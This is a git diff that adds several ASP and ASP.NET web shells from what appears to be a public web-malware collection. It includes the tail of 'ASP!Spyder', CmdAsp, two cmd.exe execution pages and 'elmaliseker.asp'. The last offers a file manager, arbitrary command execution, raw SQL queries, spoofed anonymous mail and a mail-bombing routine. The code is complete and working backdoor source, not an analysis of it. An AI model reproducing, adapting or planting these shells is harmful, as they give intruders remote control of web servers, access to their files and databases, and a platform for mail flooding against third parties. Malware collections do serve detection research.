        " + 'read the file + + Set f = fso.OpenTextFile(pathname) + If NOT f.AtEndOfStream Then fstr = f.readall + f.Close + Set f = Nothing + Set fso = Nothing + response.write "
        " & VBCRLF + response.write "DOCUMENT CONTENTS
        " & VBCRLF + response.write "" & VBCRLF + response.write "
        " & VBCRLF +%> +
        LOCATION + + +

        +<% +response.end + + case "Create" + Response.Write "Creating folder...
        " + fso.CreateFolder MyPath & "\" & request.form("DirName") + + case "Save As" + Response.Write "Saving file...
        " + Set f = fso.CreateTextFile(Request.Form("pathname")) + f.write Request.Form("FILEDATA") + f.close +end select +'Code Optimisation STOP +' ---DRIVES start here + If request.querystring("getDRVs")="@" then +%> +


        +
        Available Drive Information: +
        + +<%For Each thingy in fso.Drives%> +
        DriveTypePathShareNameSize[MB]ReadyToUseVolumeLabel
        +<%=thingy.DriveLetter%> <%=thingy.DriveType%> <%=thingy.Path%> <%=thingy.ShareName%> <%=((thingy.TotalSize)/1024000)%> <%=thingy.IsReady%> <%=thingy.VolumeName%> +<%Next%> +
        +

        ?txtpath=<%=MyPath%>">7
        +<% + Response.end + end if +' ---DRIVES stop here +%> + + + +<% +'---Report errors +select case err.number + case "0" + response.write "i Successfull.." + + case "58" + response.write "Folder already exists OR no folder name specified..." + + case "70" + response.write "Permission Denied, folder/file is readonly or contains such files..." + + case "76" + response.write "Path not found..." + + case "424" + response.write "Missing, Insufficient data OR file is readonly..." + + case else + response.write "" & err.description & "" + +end select +'---Report errors end +%> +
        ASP!Spyder Apr2003
        by KingDefacer
        + +
        +
        " name="myform" > + +
        + PATH INFO : Volume Label: <%=drv.VolumeName%>
        Virtual: http://<%=Request.ServerVariables("SERVER_NAME")%><%=Request.Servervariables("SCRIPT_NAME")%>
        1 <%=showPath%> +
        +
        +
        + + +
        ?getDRVs=@&txtpath=<%=MyPath%>">Retrieve Available Network Drives
        ?qa=@&txtpath=<%=MyPath%>">SQL Query Analyser
        ?logoff=@&...thankyou.for.using.ASpyder....KingDefacer!..[shagzzz.cjb.net]">+++LOGOFF+++
        +
        +

        +
        " >Delete file from current directory:
        +
        " + Response.Write "
        Copy file too current directory:
        " +Response.Flush +' ---View Tree Begins Here + Response.Write "
        Folders:

        " +fo=0 + Response.Write "0 ..
        " + +For each fold in folder.SubFolders '-->FOLDERz +fo=fo+1 + Response.Write "0 " & fold.name & "
        " +Next +%> +
        ?txtpath=<%=MyPath%>"> + +
        +Directory:

        + +
        +<% +Response.Write "
        Files:

        " +Response.Flush +%> +
        ?txtpath=<%=MyPath%>"> +<% + Response.write "
        " + Response.write "
        " +%> + +<% + Response.Write "
        Listed: " & fo & "Listed: " & fi & "

        " +' ---View Tree Ends Here +' ---Upload Routine starts here +%> +

        ?upload=@&txtpath=<%=MyPath%>"> + + + + +
        2 SELECT FILES TO UPLOAD:
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        +
        + +    +
        +
        + + + + +
        NOTE FOR UPLOAD - + YOU MUST HAVE VBSCRIPT v5.0 INSTALLED ON YOUR WEB SERVER  FOR THIS LIBRARY TO + FUNCTION CORRECTLY. YOU CAN OBTAIN IT FREE FROM MICROSOFT WHEN YOU INSTALL INTERNET + EXPLORER 5.0 OR LATER. WHICH IS, MOST LIKELY, ALREADY INSTALLED.
        +
        +<% +' ---Upload Routine stops here +%> + +

        Copyright 2003 Vela iNC.
        [ System: <%=now%> ]


        + + \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/ASP/cmd.asp b/web-malware-collection-master/Backdoors/ASP/cmd.asp new file mode 100755 index 0000000..f5cc2b0 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/cmd.asp @@ -0,0 +1,53 @@ +<%@ Language=VBScript %> +<% + ' --------------------o0o-------------------- + ' File: CmdAsp.asp + ' Author: Maceo + ' Release: 2000-12-01 + ' OS: Windows 2000, 4.0 NT + ' ------------------------------------------- + + Dim oScript + Dim oScriptNet + Dim oFileSys, oFile + Dim szCMD, szTempFile + + On Error Resume Next + + ' -- create the COM objects that we will be using -- ' + Set oScript = Server.CreateObject("WSCRIPT.SHELL") + Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") + Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") + + ' -- check for a command that we have posted -- ' + szCMD = Request.Form(".CMD") + If (szCMD <> "") Then + + ' -- Use a poor man's pipe ... a temp file -- ' + szTempFile = "C:\" & oFileSys.GetTempName( ) + Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) + Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) + + End If + +%> + + +
        " method="POST"> + + +
        +
        +<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
        +
        +<% + If (IsObject(oFile)) Then + ' -- Read the output from our command and remove the temp file -- ' + On Error Resume Next + Response.Write Server.HTMLEncode(oFile.ReadAll) + oFile.Close + Call oFileSys.DeleteFile(szTempFile, True) + End If +%> + + diff --git a/web-malware-collection-master/Backdoors/ASP/cmd.aspx b/web-malware-collection-master/Backdoors/ASP/cmd.aspx new file mode 100755 index 0000000..3a34323 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/cmd.aspx @@ -0,0 +1,37 @@ +<%@ Page Language="VB" Debug="true" %> +<%@ import Namespace="system.IO" %> +<%@ import Namespace="System.Diagnostics" %> + + + + + +
        +

        Program +c:\windows\system32\cmd.exe +

        Arguments +/c net user +

        +

        +

        + + \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/ASP/cmdexec.aspx b/web-malware-collection-master/Backdoors/ASP/cmdexec.aspx new file mode 100755 index 0000000..59b8d2f --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/cmdexec.aspx @@ -0,0 +1,82 @@ +<%@ Page Language="C#" %> +<%@ Import namespace="System.Diagnostics"%> +<%@ Import Namespace="System.IO" %> + + + + + + + + Command + + +
        +
        + + + + + +
        +
        +
        + + + + \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/ASP/elmaliseker.asp b/web-malware-collection-master/Backdoors/ASP/elmaliseker.asp new file mode 100755 index 0000000..275ba11 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/elmaliseker.asp @@ -0,0 +1,2324 @@ +<% + +' Tac gia: forever5pi (theo huong dan cua anh vicki-vkdt) +' Email : forever5pi@yahoo.com +' Website: http://vnhacker.org + +option explicit + +Server.ScriptTimeout=10000 +Response.Buffer=false + +dim gURL,gMsg +dim targetPath,cp_dst,mv_dst,root +dim FSO,re +dim zombie_array,special_array + +' ###################################### CONFIGURATION ###################################### + +const gPassword="" ' mat khau ("" : khong dung password) + +const gMax=50 ' chieu dai toi da cho ten file +const gBomb=1000 ' so luong mail mac dinh can bomb + +const lnkExt="lnk,url" +const editExt="htm,html,asp,asa,txt,inc,css,aspx,js,vbs,shtm,shtml,xml,xsl,log,ini,bat,bak" ' danh sach cac file cho phep edit + +const TmpDir="C:\" ' thu muc tam thoi mac dinh +const Shell="cmd.exe" ' shell mac dinh + +' cac chuoi ket noi mac dinh +const cstrMSSQL = "Provider=SQLOLEDB;Data Source=SERVER_NAME;database=DB_NAME;uid=UID;pwd=PWD" +const cstrJET = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=full_path/db_file.mdb" +const cstrACCESS = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=full_path/db_file.mdb" +const cstrORACLE = "Provider=OraOLEDB.Oracle.1; Data Source=DB_NAME; User ID=UID; Password=PWD" +const cstrMYSQL = "Driver=MySQL;server=SERVER_IP;uid=UID;pwd=PWD;database=DB_NAME" +const cstrDSN = "DSN_NAME" + +const bSize=false' co/khong hien folder-size + +const charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-" ' tap ki thu dung de sinh chuoi ngau nhien + +zombie_array=array("com","net","org","info","vn","cn") ' mang cac domain z0mbie +special_array=array("yahoo.com","hotmail.com") ' mang cac domain dac biet (dung trong bomb mail) + +root=Server.MapPath(".") ' folder mac dinh + +' ########################################################################################### + +gURL=Request.ServerVariables("SCRIPT_NAME") +Init() +if (LCase(Left(Request.ServerVariables("HTTP_CONTENT_TYPE"),19))="multipart/form-data") and (Session("allow")=1) and (Session("mode")=0) then Upload() +Secure() +if Request.Form("command")="Logout" then Logout() +if Request.Form("command")="ChangeMode" then +Session("mode")=Request.Form("mode") +Session("switch")=true +end if +select case Session("mode") +case 0 myFile() +case 1 myCMD() +case 2 mySQL() +case 3 myMail() +end select + +'########################################################################################### + +sub myFile() +if Session("switch")=true then +targetPath=Session("targetPath") +if targetPath="" then targetPath=root +Session("switch")=false +else +targetPath=Trim(Request.Form("folder")) +if targetPath="" then targetPath=root else targetPath=abspath(targetPath) + +select case Request.Form("command") +case "Download" +Download() +exit sub +case "Edit" +Editor() +exit sub +case "ChangeAttributesFile","ChangeAttributesFolder" +ChangeAttributesItem() +exit sub +case "Tree" +Tree() +exit sub +case "Delete" Delete() +case "Move" Move() +case "Copy" Copy() +case "ZipInfo" ZipInfo() +case "NewFile","NewFolder" CreateItem() +case "RenameFile","RenameFolder" RenameItem() +case "OpenFolder" OpenFolder() +case "LevelUp" targetPath=FSO.GetParentFolderName(abspath(Request.Form("folder"))) +case "LevelRoot" targetPath=findroot(abspath(Request.Form("folder"))) +end select + +Session("targetPath")=targetPath +end if + +HtmlHeader("") +HtmlMode() +List() +HtmlFooter() +Destroy() +end sub + +'########################################################################################### + +sub myCMD() +dim bDoIt +dim bEcho +dim szTmpDir,szShell,szCmd,szTmpFile +dim oScript,oScriptNet,oFile + +HtmlHeader("") +HtmlMode() + +set oScript=Server.CreateObject("Wscript.Shell") +set oScriptNet=Server.CreateObject("Wscript.Network") + +szTmpDir=Trim(Request.Form("tmpdir")) +szShell=Trim(Request.Form("shell")) +szCmd=Trim(Request.Form("cmd")) +bEcho=CBool(Request.Form("echo")) + +if Session("switch")=true then +Session("switch")=false +bDoit=false +szTmpDir=Session("szTmpDir") +szShell=Session("szShell") +szCmd=Session("szCmd") +bEcho=Session("bEcho") +else +bDoIt=true +end if + +if szTmpDir="" then szTmpDir=TmpDir else szTmpDir=abspath(szTmpDir) +if szShell="" then szShell=Shell + +Session("szTmpDir")=szTmpDir +Session("szShell")=szShell +Session("szCmd")=szCmd +Session("bEcho")=bEcho + +%> +
        + + + + + +
        TmpDir:
        Shell:
        Cmd:
        Echo:>
        +
        + +<% +if (szCmd<>"") and (bDoIt=true) then +if bEcho then +call oScript.Run(szShell & " /c " & szCmd) +else +szTmpFile = addslash(szTmpDir) & FSO.GetTempName +call oScript.Run(szShell & " /c " & szCmd & " > " & szTmpFile, 0, true) +if FSO.FileExists(szTmpFile) then set oFile=FSO.OpenTextFile (szTmpFile, 1, false, 0) +end if +end if +%> +

        <%=FormatDate(Now)%> +

        IP: <%=Request.ServerVariables("LOCAL_ADDR")%>
        +User: \\<%=oScriptNet.ComputerName%>\\<%=oScriptNet.UserName%> +<% +if (IsObject(oFile)) then +on error resume next +%> +

        +<%=Server.HtmlEncode(oFile.ReadAll)%>
        +
        +<% +oFile.Close +call FSO.DeleteFile(szTmpFile, true) +end if + +set oScript=nothing +set oScriptNet=nothing + +HtmlFooter() +Destroy() +end sub + +'########################################################################################### + +sub mySQL() +dim szConn,szSQL1,szSQL2,szSQL,bDoIt +dim intChoice + +HtmlHeader("") +HtmlMode() + +szConn=Trim(Request.Form("conn")) +szSQL1=Trim(Request.Form("sql1")) +szSQL2=Trim(Request.Form("sql2")) +intChoice=CInt(Request.Form("choice")) + +if Session("switch")=true then +Session("switch")=false +bDoIt=false +szConn=Session("szConn") +szSQL1=Session("szSQL1") +szSQL2=Session("szSQL2") +intChoice=Session("intChoice") +else +bDoIt=true +end if + +if intChoice=0 then intChoice=1 +if intChoice=1 then szSQL=szSQL1 else szSQL=szSQL2 + +Session("szConn")=szConn +Session("szSQL1")=szSQL1 +Session("szSQL2")=szSQL2 +Session("intChoice")=intChoice + +select case trim(ucase(szConn)) +case "MSSQL" +szConn=cstrMSSQL +szSQL="" +case "JET" +szConn=cstrJET +szSQL="" +case "ACCESS" +szConn=cstrACCESS +szSQL="" +case "ORACLE" +szConn=cstrORACLE +szSQL="" +case "MYSQL" +szConn=cstrMYSQL +szSQL="" +case "DSN" +szConn=cstrDSN +szSQL="" +end select +%> + +
        + +Conn:
        +SQL: > +>( [F9] = Go )

        + + +
        + +<% +if (szConn<>"") and (szSQL<>"") and (bDoIt=true) then +dim adoCon, rS +dim i,intAffected + +set adoCon=Server.CreateObject("ADODB.Connection") +adoCon.Open szConn +set rS=adoCon.Execute(szSQL, intAffected) +if (rS.Fields.Count>0) then +' hien thi ten cua cac truong +Response.Write "" & vbNewLine & "" +for i=0 to rS.Fields.Count-1 +Response.Write "" +next +Response.Write "" & vbNewLine +' hien thi du lieu tren cac dong +on error resume next +rS.MoveFirst +do while not rS.EOF +Response.Write "" +for i=0 to rS.Fields.Count-1 +Response.Write "" +next +Response.Write "" & vbNewLine +rS.MoveNext +loop +rS.Close +Response.Write "
        " +if (rS.Fields(i).Name="") then +Response.Write "(No column name)" +else +Response.Write Server.HtmlEncode(rS.Fields(i).Name) +end if +Response.Write "
        " +if IsNull(rs.Fields(i).Value) then +Response.Write "NULL" +elseif (Trim(rs.Fields(i).Value)="") then +Response.Write " " +else +Response.Write Server.HtmlEncode(rS.Fields(i).Value) +end if +Response.Write "
        " & vbNewLine +end if + +Response.Write "

        (" & intAffected & " row(s) affected)" + +set rS=nothing +set adoCon=nothing +end if + +HtmlFooter() +Destroy() +end sub + + +'########################################################################################### + +sub myMail() +dim strFrom,strTo,strSubject,strBody,bHtml,intNumber,i,StartTime,EndTime,bDoIt +dim objMail,objMsg + +strTo=Trim(Request.Form("to")) + +select case Request.Form("subcommand") +case "Send" +strFrom=Trim(Request.Form("from")) +strSubject=Trim(Request.Form("subject")) +strBody=Request.Form("body") +bHtml=CBool(Request.Form("html")) +case "Bomb" +if IsNumeric(Request.Form("number")) then intNumber=Int(Request.Form("number")) +strFrom=Session("strFrom") +strSubject=Session("strSubject") +strBody=Session("strBody") +bHtml=Session("bHtml") +end select + +if Session("switch")=true then +Session("switch")=false +bDoIt=false +strFrom=Session("strFrom") +strTo=Session("strTo") +strSubject=Session("strSubject") +strBody=Session("strBody") +bHtml=Session("bHtml") +intNumber=Session("intNumber") +else +bDoIt=true +end if + +if (intNumber<=0) then intNumber=gBomb + +Session("strFrom")=strFrom +Session("strTo")=strTo +Session("strSubject")=strSubject +Session("strBody")=strBody +Session("bHtml")=bHtml +Session("intNumber")=intNumber + +HtmlHeader("") +HtmlMode() + +if bDoIt then +select case Request.Form("subcommand") +case "Send" +if IsValidEmail(strTo) then +set objMail=Server.CreateObject("CDONTS.NewMail") +objMail.To=strTo +objMail.From=strFrom +objMail.Subject=strSubject +objMail.Body=strBody +if bHtml then +objMail.BodyFormat=0 'HTML +objMail.MailFormat=0 'MIME +end if +objMail.Send +set objMail=nothing +Response.Write "Message was sent to " & strTo & " successfully." & vbNewLine +end if +case "Bomb" +if IsValidEmail(strTo) then +Response.Write "Bombing " & Replace(FormatNumber(intNumber,0),",",".") & " mail" +if intNumber>1 then Response.Write "s" +Response.Write " to " & strTo & " ... " +StartTime=Timer +set objMsg=Server.CreateObject("CDO.Message") +objMsg.To=strTo +Randomize +for i=1 to intNumber +objMsg.From=makeEmail() +objMsg.Subject=makeText(Int((50-25+1)*Rnd+25)) +objMsg.TextBody=makeText(Int((100-50+1)*Rnd+50)) +objMsg.Send +next +set objMsg=nothing +EndTime=Timer +Response.Write howlong(EndTime-StartTime) & vbNewLine +end if +end select +end if +%> +

        + + + + + +
        +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        a) Anonymous Mail
        From:
        To:
        Subject:
        Body:
        Html:>
        +
        +
        +
        + + + + + + + + + + + + + + + +
        b) Bomb Mail
        Address:
        Number:>
        +
        +
        +<% +HtmlFooter() +Destroy() +end sub + +'########################################################################################### + +function IsValidEmail(strEAddress) +dim objRegExpr +set objRegExpr = New RegExp +objRegExpr.Pattern = "^[a-zA-Z0-9][\w\.-]*[a-zA-Z0-9]@[\w-\.]*[a-zA-Z0-9]\.[a-zA-Z]{2,7}$" +objRegExpr.Global = true +objRegExpr.IgnoreCase = False +IsValidEmail = objRegExpr.Test(strEAddress) +set objRegExpr = nothing +end function + +'########################################################################################### + +function makeEmail() +Randomize +if Int((1-0+1)*Rnd+0)=0 then makeEmail=makeText(8) & "@" & makeText(8) & "." & zombie_array(Int((UBound(zombie_array)-0+1)*Rnd+0)) else makeEmail=makeText(8) & "@" & special_array(Int((UBound(special_array)-0+1)*Rnd+0)) +end function + +'########################################################################################### + +function makeText(intLen) +dim strNewText,i +strNewText="" +Randomize +for i=1 to intLen +strNewText=strNewText & Mid(charset,Int((Len(charset)-1+1)*Rnd+1),1) +next +makeText=strNewText +end function + +'########################################################################################### + +function howlong(intTime) +if (intTime<60) then +howlong=intTime & " second(s)" +elseif (intTime<60*60) then +howlong=FormatNumber(intTime/60,2) & " minute(s)" +else +howlong=FormatNumber(intTime/(60*60),2) & " hour(s)" +end if +end function + +'########################################################################################### + +sub Tree() +dim path +path=abspath(Request.Form("param")) +if FSO.FolderExists(path) then +%> + + + +<%=path%> + + + +<% +tree_dir(path) +%> + + +<% +else +%> + +<% +end if +Destroy() +end sub + +sub tree_dir(path) +dim strAttrib,strSize + +on error resume next + +dim oFolder +dim oSubFolders,oSubFolder +dim oFiles,oFile +dim oSubFolders2,oSubFolder2 +dim oFiles2,oFile2 + +set oFolder=FSO.GetFolder(path) +set oSubFolders=oFolder.SubFolders +set oFiles=oFolder.Files + +Response.Write "

        " & FSO.GetAbsolutePathName(path) + +strAttrib=GetAttributes(oFolder.Attributes) + +if strAttrib<>" " then Response.Write " (" & GetAttributes(oFolder.Attributes) & ")" + +Response.Write vbNewLine + +if (oSubFolders.Count>0) or (oFiles.Count>0) then +%> + + + + + + + + +<% +' liet ke thu muc +for each oSubFolder in oSubFolders +%> + + + + + + + +<% +next + +' liet ke file +for each oFile in oFiles +%> + +><%=oFile.Name%> + + + + + +<% +next +strSize=FormatSize(oFolder.Size) +%> + + + +
        NameSizeTypeModifiedAttributes
        <%=oSubFolder.Name%> DIR<%=FormatDate(oSubFolder.DateLastModified)%><%=GetAttributes(oSubFolder.Attributes)%>
        <%=FormatSize(oFile.Size)%><%=oFile.Type%><%=FormatDate(oFile.DateLastModified)%><%=GetAttributes(oFile.Attributes)%>
        <%=oSubFolders.Count%> folder(s), <%=oFiles.Count%> file(s)<%if strSize<>"" then Response.Write " (" & strSize & ")"%>
        +<% +' goi de qui +for each oSubFolder in oSubFolders +set oSubFolder2=oSubFolder.SubFolders +set oFile2=oSubFolder.Files + +if (oSubFolder2.Count>0) or (oFile2.Count>0) then +tree_dir(oSubFolder.ParentFolder & "\" & oSubFolder.Name) +end if + +set oSubFolder2=nothing +set oFile2=nothing +next +end if + +set oSubFolder=nothing +set oFiles=nothing +set oFolder=nothing +end sub + +'########################################################################################### + +sub Editor() +dim f,name,path + +on error resume next + +HtmlHeader("") + +name=Request.Form("param") +path=addslash(targetPath) & name + +select case Request.Form("subcommand") +case "Save","SaveAs" +set f=FSO.OpenTextFile(path,2,true,-2) +if Err.Number<>0 then +gMsg="Can not write to the file """ & name & """, permission denied!" +Err.Clear +else +f.Write Request.Form("content") +end if +set f=nothing +set f=FSO.OpenTextFile(path,1,false,-2) +case else +if not FSO.FileExists(path) then +gMsg="The file """ & name & """ does not exist" +set f=FSO.CreateTextFile(path,false) +if Err.Number<>0 then +gMsg=gMsg & ", also unable to create new file." +Err.Clear +else +gMsg=gMsg & ", created new file." +end if +else +set f=FSO.OpenTextFile(path,1,false,-2) +if Err.Number<>0 then +gMsg="Can not read from the file """ & name & """, permission denied!" +Err.Clear +end if +end if +end select +%> +<% if gMsg<>"" then Response.Write "" & vbNewLine %> +

        Editing - "<%=path%>"
        +

        +Wrap +
        + + + +
        + +
        + +
        +
        + + + + +"> +
        +<% +set f=nothing +HtmlJsEditor() +HtmlFooter() +Destroy() +end sub + +'########################################################################################### + +sub ChangeAttributesItem() +dim item,itemType,itemName,itemPath,itemAttrib + +itemType=Request.Form("command") +itemName=Request.Form("param") +itemPath=addslash(targetPath) & itemName + +HtmlHeader("") + +select case itemType +case "ChangeAttributesFile" set item=FSO.GetFile(itemPath) +case "ChangeAttributesFolder" set item=FSO.GetFolder(itemPath) +end select + +if Request.Form("subcommand")="change" then +itemAttrib=int(Request.Form("r")) +itemAttrib=itemAttrib+int(Request.Form("h")) +itemAttrib=itemAttrib+int(Request.Form("a")) +itemAttrib=itemAttrib+int(Request.Form("s")) +on error resume next +item.Attributes=int(itemAttrib) +if Err.Number<>0 then Response.Write "" & vbNewLine +end if + +itemAttrib=item.Attributes +%> +Change attributes - "<%=itemName%>" +

        +

        + + + + + + + + + + + + + +
        0 then Response.Write " checked"%>>Read-only0 then Response.Write " checked"%>>Hidden
        0 then Response.Write " checked"%>>Archive0 then Response.Write " checked"%>>System

        + +
        +

        +<% +set itemType=nothing +HtmlFooter() +Destroy() +end sub + +'########################################################################################### + +sub OpenFolder() +if Trim(Request.Form("folder"))="" then +if Trim(Request.Form("param"))="" then targetPath=root else targetPath=abspath(Trim(Request.Form("param"))) +else +targetPath=addslash(Trim(Request.Form("folder"))) & Trim(Request.Form("param")) +end if +end sub + +'########################################################################################### + +sub CreateItem() +dim itemType,itemName,itemPath +itemType=request.form("command") +itemName=request.form("param") +itemPath=addslash(targetPath) & itemName + +on error resume next + +select case itemType +case "NewFolder" +if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then +FSO.CreateFolder(itemPath) +if Err.Number<>0 then +gMsg="Unable to create the folder """ & itemName & """, an error occured..." +else +gMsg="Created the folder """ & itemName & """..." +end if +else +gMsg="Unable to create the folder """ & itemName & """, there exists a file or a folder with the same name..." +end if +case "NewFile" +if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then +FSO.CreateTextFile(itemPath) +if Err.Number<>0 then +gMsg="Unable to create the file """ & itemName & """, an error occured..." +else +gMsg="Created the file """ & itemName & """..." +end if +else +gMsg="Unable to create the file """ & itemName & """, there exists a file or a folder with the same name..." +end if +end select +end sub + +'########################################################################################### + +sub ZipInfo() +dim path,zip,zipfile,i + +path=addslash(targetPath) & Request.Form("param") +%> + + + +<%=path%> + + + +

        <%=path%> + + + + + + + + + +<% +set zip=new clszip +zip.ZipLoad(path) +set zipfile=new clsZipFile + +for i=1 to zip.FileCount +set zipfile=zip.GetFile(i) +with zipfile +if not (.IsFolder Or .IsOverall) then +Response.Write "" & vbNewLine +Response.Write " " & vbNewLine +Response.Write " " & vbNewLine +Response.Write " " & vbNewLine +Response.Write " " & vbNewLine +Response.Write " " & vbNewLine +Response.Write " " & vbNewLine +end if +end with +next + +set ZipFile=nothing +set zip=nothing +%> +
        NameSizeRatioPackedModifyPath
        " & .Name & "" & FormatNumber(.Size,0) & "" & .Ratio & "" & FormatNumber(.Packed,0) & "" & FormatDate(.Modified) & "" & .Path & "
        +

        +<% +HtmlFooter() +Destroy() +end sub + +'########################################################################################### + +sub Delete() +dim i,ndir,nfile,itemName,itemPath + +on error resume next + +ndir=Request.Form("d").Count +nfile=Request.Form("f").Count + +if (ndir>0) then +gMsg="Delete folder(s)..." +for i=1 to ndir +itemName=Request.Form("d")(i) +itemPath=addslash(targetPath) & itemName +FSO.DeleteFolder itemPath,true +gMsg=gMsg & "
        " & vbNewLine & "- " & itemName & ": " +if Err.Number<>0 then +gMsg=gMsg & "error" +else +gMsg=gMsg & "success" +end if +next +end if + +if (nfile>0) then +if (ndir>0) then gMsg= gMsg & "

        " & vbNewLine +gMsg=gMsg & "Delete file(s)..." +for i=1 to nfile +itemName=Request.Form("f")(i) +itemPath=addslash(targetPath) & itemName +FSO.DeleteFile itemPath,true +gMsg=gMsg & "
        " & vbNewLine & "- " & itemName & ": " +if Err.Number<>0 then +gMsg=gMsg & "error" +else +gMsg=gMsg & "success" +end if +next +end if + +end sub + +'########################################################################################### + +sub Copy() +dim i,nfile,ndir,itemName,itemPath + +on error resume next + +cp_dst=Trim(Request.Form("cp")) +if cp_dst="" then exit sub +cp_dst=abspath(cp_dst) +Session("cp_dst")=cp_dst + +if FSO.FolderExists(cp_dst)=false then +gMsg="

        Folder not exists" & vbNewLine +exit sub +end if + +ndir=Request.Form("d").Count +nfile=Request.Form("f").Count + +if (ndir>0) then +gMsg="Copying folder(s) to """ & cp_dst & """ ..." +for i=1 to ndir +itemName=Request.Form("d")(i) +itemPath=addslash(targetPath) & itemName +FSO.CopyFolder itemPath,addslash(cp_dst),true +gMsg=gMsg & "
        " & vbNewLine & "- " & itemName & ": " +if Err.Number<>0 then +gMsg=gMsg & "error" +else +gMsg=gMsg & "success" +end if +next +end if + +if (nfile>0) then +if (ndir>0) then gMsg= gMsg & "

        " & vbNewLine +gMsg=gMsg & "Copying file(s) to """ & cp_dst & """ ..." +for i=1 to nfile +itemName=Request.Form("f")(i) +itemPath=addslash(targetPath) & itemName +FSO.CopyFile itemPath,addslash(cp_dst),true +gMsg=gMsg & "
        " & vbNewLine & "- " & itemName & ": " +if Err.Number<>0 then gMsg=gMsg & "error" else gMsg=gMsg & "success" +next +end if + +end sub + +'########################################################################################### + +sub Move() +dim i,nfile,ndir,itemName,itemPath + +on error resume next + +mv_dst=Trim(Request.Form("mv")) +if mv_dst="" then exit sub +mv_dst=abspath(mv_dst) +Session("mv_dst")=mv_dst + +if FSO.FolderExists(mv_dst)=false then +gMsg="

        Folder not exists" & vbNewLine +exit sub +end if + +ndir=Request.Form("d").Count +nfile=Request.Form("f").Count + +if (ndir>0) then +gMsg="Moving folder(s) to """ & mv_dst & """ ..." +for i=1 to ndir +itemName=Request.Form("d")(i) +itemPath=addslash(targetPath) & itemName +gMsg=gMsg & "
        " & vbNewLine & "- " & itemName & ": " +FSO.MoveFolder itemPath,addslash(mv_dst) +if Err.Number<>0 then gMsg=gMsg & "error" else gMsg=gMsg & "success" +set item=nothing +next +end if + +if (nfile>0) then +if (ndir>0) then gMsg= gMsg & "

        " & vbNewLine +gMsg=gMsg & "Moving file(s) to """ & mv_dst & """ ..." +for i=1 to nfile +itemName=Request.Form("f")(i) +itemPath=addslash(targetPath) & itemName +gMsg=gMsg & "
        " & vbNewLine & "- " & itemName & ": " +FSO.MoveFile itemPath,addslash(mv_dst) +if Err.Number<>0 then gMsg=gMsg & "error" else gMsg=gMsg & "success" +next +end if +end sub + +'########################################################################################### + +sub RenameItem() +dim item,itemType,itemName,itemPath +dim param,newName + +itemType=request.form("command") +param=split(request.form("param"),"|") +itemName=param(0) +newName=param(1) +itemPath=addslash(targetPath) & newName + +on error resume next + +select case itemType +case "RenameFolder" +if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then +itemPath=addslash(targetPath) & itemName +set item=FSO.GetFolder(itemPath) +item.Name=newName +if Err.Number<>0 then +gMsg="Unable to rename the folder """ & itemName & """, an error occured..." +else +gMsg="Renamed the folder """ & itemName & """ to """ & newName & """..." +end if +else +gMsg="Unable to rename the folder """ & itemName & """, there exists a file or a folder with the new name """ & newName & """..." +end if +case "RenameFile" +if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then +itemPath=addslash(targetPath) & itemName +set item=FSO.GetFile(itemPath) +item.Name=newName +if Err.Number<>0 then +gMsg="Unable to rename the file """ & itemName & """, an error occured..." +else +gMsg="Renamed the file """ & itemName & """ to """ & newName & """..." +end if +else +gMsg="Unable to rename the file """ & itemName & """, there exists a file or a folder with the new name """ & newName & """..." +end if +end select + +set item=nothing +end sub + +'########################################################################################### + +sub List() +dim objFolder,folder,item,intCount,bOpen,ext,count +if not FSO.FolderExists(targetPath) then +gMsg="Folder not found" +else +on error resume next +set objFolder=FSO.GetFolder(targetPath) +if Err.Number<>0 then +gMsg="Can't open folder" +else +intCount=objFolder.SubFolders.Count+objFolder.Files.Count +if Err.Number<>0 then +gMsg="Permission denied" +else +%> + + + + + +<% +bOpen=true +end if +end if +end if +HtmlQuick() +if gMsg<>"" then Response.Write "

        " & gMsg & vbNewLine +if bOpen then +count=0 +if intCount>0 then Response.Write "

        " & objFolder.SubFolders.Count & " subfolder(s)
        " & vbNewLine & objFolder.Files.Count & " file(s)
        " & vbNewLine +if bSize then Response.Write "(" & FormatSize(objFolder.Size) & ")
        " & vbNewLine +%> +

        + + + + + + + + + +<% +if not isroot(targetPath) then +%> + + + + + + + + + + + + + + + + +<% +end if +if intCount>0 then +HtmlJsForm() +%> + + + +<% +for each item in objFolder.SubFolders +count=count+1 +Response.Write "" & vbNewLine +Response.Write " " & vbNewLine +Response.Write " " & vbNewLine +Response.Write " " & vbNewLine +Response.Write " " & vbNewLine +Response.Write " " & vbNewLine +Response.Write " " & vbNewLine +Response.Write "" & vbNewLine +next +for each item in objFolder.Files +count=count+1 +Response.Write "" & vbNewLine +Response.Write " " & vbNewLine +Response.Write " " & vbNewLine +Response.Write " " & vbNewLine +Response.Write " " & vbNewLine +Response.Write " " & vbNewLine +Response.Write " " & vbNewLine +Response.Write "" & vbNewLine +next +if count>0 then +%> + + + + + + + + +<% +end if +%> +
        NameSizeTypeModifiedAttributesActions
        \ Root
        .. Up
        gMax then Response.Write " title=""" & item.Name & """" +Response.Write ">" & FormatName(item.Name) & " DIR" & FormatDate(item.DateLastModified ) & "" & GetAttributes(item.Attributes) & "
